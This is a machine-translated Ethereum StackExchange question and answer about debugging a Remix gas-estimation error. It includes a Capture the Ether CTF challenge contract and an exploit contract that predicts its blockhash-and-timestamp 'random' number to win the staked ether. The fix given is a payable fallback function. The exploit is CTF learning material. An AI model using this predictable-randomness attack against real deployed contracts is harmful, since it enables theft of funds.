Solidity

氣體估計失敗(混音)

  • August 1, 2021

呼叫函式時出現混音“氣體估計失敗”錯誤。我已經閱讀了針對相同錯誤的其他問題,但沒有取得多大成功。在嘗試部署之前,我已經編譯了程式碼。該程式碼沒有任何 for 循環。在 Injected Web3 上部署良好。在 Javascript VM 上它沒有(而不是它說“(MEMORY)”的契約雜湊)。當我嘗試使用 InjectedWeb3 呼叫 trytoguess 函式時,出現“氣體估計失敗”錯誤。在 Javscript VM 上,我收到“與 Hack.trytoguess 的交易錯誤:NotFoundError: Key not found in database

$$ hn $$“。我猜程式碼有問題。 第一份契約來自 CTF,所以我想沒關係。它部署良好:

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
   function GuessTheNewNumberChallenge() public payable {
       require(msg.value == 1 ether);
   }

   function isComplete() public view returns (bool) {
       return address(this).balance == 0;
   }

   function guess(uint8 n) public payable {
       require(msg.value == 1 ether);
       uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

       if (n == answer) {
           address(msg.sender).transfer(2 ether);
       }
   }
}

部署後,我在建構子中使用聯繫人地址作為下一個合約的輸入(這個是有問題的):

pragma solidity ^0.4.21;
import "./GuessTheNewNumberChallenge.sol";


contract Hack{
   address owner;
   GuessTheNewNumberChallenge challenge_contract;
   function Hack(address challenge_address) public{
       owner = msg.sender;
       challenge_contract = GuessTheNewNumberChallenge(challenge_address);
   }
   
   function withdraw() public{
       require(msg.sender == owner);
       address(msg.sender).transfer(address(this).balance);
   }
   
   function funds() view public returns (uint256){
       return address(this).balance;
   }
   
   function trytoguess() public payable{
       uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
       challenge_contract.guess.value(msg.value).gas(100000)(answer);
   }
}

失敗的功能是trytoguess(). 我嘗試增加混音和程式碼(最後的 . )的氣體限制,.gas(100000)但沒有成功。還嘗試將 gas 功能替換為gasleft(),並完全刪除該行上對 gas 的提及。我知道這都是相當古老的可靠程式碼,但我們適應了最新版本,我遇到了同樣的問題。所以我想這與solidity版本無關。

經過幾個小時的尋找,我可能發現契約工作缺少什麼(我自己是 Solidity 的新手)。為了從另一個合約中接受乙太幣,我們需要一個payable備份函式:

function () payable {

}

我們將主體留空,因為無法將乙太幣轉移到我們的帳戶,因為此功能只能依賴2300可用氣體。轉帳比那更貴。

$$ Source: https://medium.com/@saurfang/lets-play-capture-the-ether-lotteries-part-ii-478365775a34 $$ 可悲的是,我沒有設法找出導致NotFoundError: Key not found in database [hn]. 當我使用 JavaScript VM 時,我仍然在 Remix 中得到它。然而,在部署到 Ropsten 後,一切正常。

引用自:https://ethereum.stackexchange.com/questions/104073